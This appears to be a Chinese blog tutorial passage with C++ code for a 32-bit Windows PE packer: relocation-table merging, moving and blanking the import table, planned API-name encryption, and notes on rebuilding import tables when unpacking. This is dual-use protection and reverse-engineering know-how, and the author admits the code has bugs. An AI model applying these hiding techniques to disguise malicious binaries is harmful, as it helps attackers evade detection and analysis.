char * MyShell::SaveOldReloc(DWORD * size)
{
*size = pOptionHeader->DataDirectory[5].Size;
char* reloc = Rva2Foa(pOptionHeader->DataDirectory[5].VirtualAddress) + fileBuff;

return reloc;
}

由于要修改加壳程序的datadirectory[5]字段,所以要先把原来的保存起来,以修复原程序的重定位表;

步骤二三四由之前的 RepairRelocate() 函数修改而来,首先对类定义了一些成员和方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
DWORD inRelocSize;
PIMAGE_BASE_RELOCATION inRelocTable;
------

DWORD MyShell::Foa2Rva(DWORD foa)
{
DWORD rva = 0;
for (PIMAGE_SECTION_HEADER p = pSectionHeader; p->Name != NULL; p++)
{
if (foa >= p->PointerToRawData && foa < p->PointerToRawData + p->SizeOfRawData)
{
rva = foa + p->VirtualAddress - p->PointerToRawData;
break;
}
}

return rva;
}

DWORD MyShell::Rva2Foa(DWORD rva)
{
DWORD foa = 0;
for (PIMAGE_SECTION_HEADER p = pSectionHeader; p->Name != NULL; p++)
{
if (rva >= p->VirtualAddress && rva < p->VirtualAddress + p->Misc.VirtualSize)
{
foa = rva - p->VirtualAddress + p->PointerToRawData;
break;
}
}

return foa;
}

BOOL MyShell::GetInRelocTable(char* sectionBuff, DWORD offset)
{
inRelocTable = (PIMAGE_BASE_RELOCATION)(sectionBuff + offset);
PIMAGE_BASE_RELOCATION pInR = inRelocTable;

while (pInR->SizeOfBlock)
{
inRelocSize++;
pInR++;
}

return TRUE;
}

//修改后的
BOOL MyShell::RepairRelocate(DWORD imageBase, char* sectionBuff,DWORD offset)
{
//获取dll重定位表
PIMAGE_DOS_HEADER pDllDosHeader = (PIMAGE_DOS_HEADER)imageBase;
PIMAGE_NT_HEADERS pDllNtHeader = (PIMAGE_NT_HEADERS)(pDllDosHeader->e_lfanew + imageBase);
PIMAGE_OPTIONAL_HEADER pDllOptionHeader = &(pDllNtHeader->OptionalHeader);
PIMAGE_BASE_RELOCATION pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllOptionHeader->DataDirectory[5].VirtualAddress + imageBase);
PIMAGE_SECTION_HEADER pDllSectionHeader = IMAGE_FIRST_SECTION(pDllNtHeader);

//shellcode段RVA
DWORD shellCodeRVA = Foa2Rva(sectionBuff - fileBuff);
PIMAGE_BASE_RELOCATION pInR = inRelocTable;

//遍历重定位表
while (pDllRelocate->SizeOfBlock)
{
//取word类型个数
DWORD reCount = (pDllRelocate->SizeOfBlock - 8) / 2;
char* begin = (char *)pDllRelocate + 8;

//遍历每个小数
for (int i = 0; i < reCount; i++)
{
WORD* pRelocRva = (WORD*)begin;
//有效位判断
if ((*pRelocRva & 0x3000) == 0x3000)
{
//取DLL内立即数rva
DWORD relocRva = (*pRelocRva & 0xfff) + pDllRelocate->VirtualAddress;
//计算offset
DWORD offset = relocRva - pDllSectionHeader->VirtualAddress;
//计算镜像中立即数地址
DWORD SectionCount = pFileHeader->NumberOfSections;
PIMAGE_SECTION_HEADER pLastSectionHeader = pSectionHeader + (SectionCount - 1);
DWORD destAddr = offset +(DWORD)(fileBuff + pLastSectionHeader->PointerToRawData);

//计算变量相对节区offset
offset = (*(DWORD*)destAddr - imageBase) - pDllSectionHeader->VirtualAddress;
//计算变量于镜像内新VA并修改
DWORD aimVA = offset + (pLastSectionHeader->VirtualAddress + pOptionHeader->ImageBase);
*(DWORD*)destAddr = aimVA;
}
begin += 2;
}
//修复壳代码重定位表
pInR->VirtualAddress = pDllRelocate->VirtualAddress - pDllSectionHeader->VirtualAddress + shellCodeRVA;
pDllRelocate = (PIMAGE_BASE_RELOCATION)(pDllRelocate->SizeOfBlock + (DWORD)pDllRelocate);
pInR++;
}
//修改目标data目录指向注入重定位表
DWORD ss = 0;
SaveOldReloc(&ss);
DWORD tableNewRva = Foa2Rva((DWORD)sectionBuff + offset - (DWORD)fileBuff - ss);
pOptionHeader->DataDirectory[5].VirtualAddress = tableNewRva;
pOptionHeader->DataDirectory[5].Size += pDllOptionHeader->DataDirectory[5].Size;

return TRUE;
}

步骤五,实则已经实现,在步骤一将两张重定位表顺序插入shellcode之后,且在上面的代码中最后几段将导入表size更改为了两个size叠加;

用这个方法可以绕过动态基质,但是这个架构写出的壳有个bug,导致原程序加壳后变成固定基址了…虽然可以正常跑….

加密导入表

此步骤针对于程序安全性质而言;

针对加壳程序的导入表加密,对API进行保护;

步骤:

  • 转移导入表进新区段,并抹掉原导入表(填充00,并将datadirectory[1]指向一个假表);
  • 对API名称加密;
  • 对新导入表加密;
  • 于壳代码中解密并手动模拟导入表的修复(使用对应dll的导出表);

此处只给出了转移导入表部分的代码,对于后期加密部分可参考上一篇 Windows_ShellCode;

当此处实现后,因为可以由代码自己修复导入表和重定位表,则原程序的.idata段和.reloc段就随便乱改都没问题了;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//新增字段
DWORD importTableSize;
PIMAGE_IMPORT_DESCRIPTOR pImportTable;
------

char* MyShell::GetImportTable()
{
pImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(Rva2Foa(pOptionHeader->DataDirectory[1].VirtualAddress) + (DWORD)fileBuff);
for (PIMAGE_IMPORT_DESCRIPTOR p = pImportTable; p->Name != NULL; p++)
importTableSize++;
importTableSize++;
importTableSize *= sizeof(IMAGE_IMPORT_DESCRIPTOR);

return (char *)pImportTable;
}

BOOL MyShell::MoveImportTable(char* sectionBuff, DWORD offset)
{
PIMAGE_IMPORT_DESCRIPTOR newImportTable = (PIMAGE_IMPORT_DESCRIPTOR)(sectionBuff + offset);
//移动到指定区段偏移位置
memcpy(newImportTable, pImportTable, importTableSize);
memset(pImportTable, 0x00, importTableSize);
pImportTable = newImportTable;
//修改datadirectory对应rva
pOptionHeader->DataDirectory[1].VirtualAddress = Foa2Rva((DWORD)newImportTable - (DWORD)fileBuff);

return TRUE;
}

DWORD MyShell::GetImportTableSize()
{
return importTableSize;
}

加密这里有个坑,按dll遍历函数名称填地址的时候,kernel32和kernelbase里有ntdll的函数引用,但是又有同名函数干扰,要想办法将对应dll的API地址填充正确,解决方法是判断导入表名称是否为kernel32或者kernelbase,如果是则多循环一次,多循环的一次dll则加载ntdll;

完成所有内容(包括加密导入表的所有步骤)的加壳项目:

关于加壳dll需要添加一个名字结构数组来传递模块名称,否则GetModuleHandle(0)是进程基址;

( BUG 肯定是有的( 缺陷是支持32位且节区头需要空闲 (

脱壳

脱壳手段于之前基础篇大部分都提及;

此外,esp定律一般是哄骗小学生的,大部分时候都用不到;

但基础篇尚未提及一点,在dump之后的文件虽然是可以查看其源码的,但如果需要动调,是无法实现的;

此时要让dump的程序能运行,则需要修复其导入表,因为此时导入表dump出的是实打实的地址,需要利用地址反找函数符号,重新构建导入表结构;

修复导入表一般用脚本完成,脚本实现思路如上述所示;

阅读全文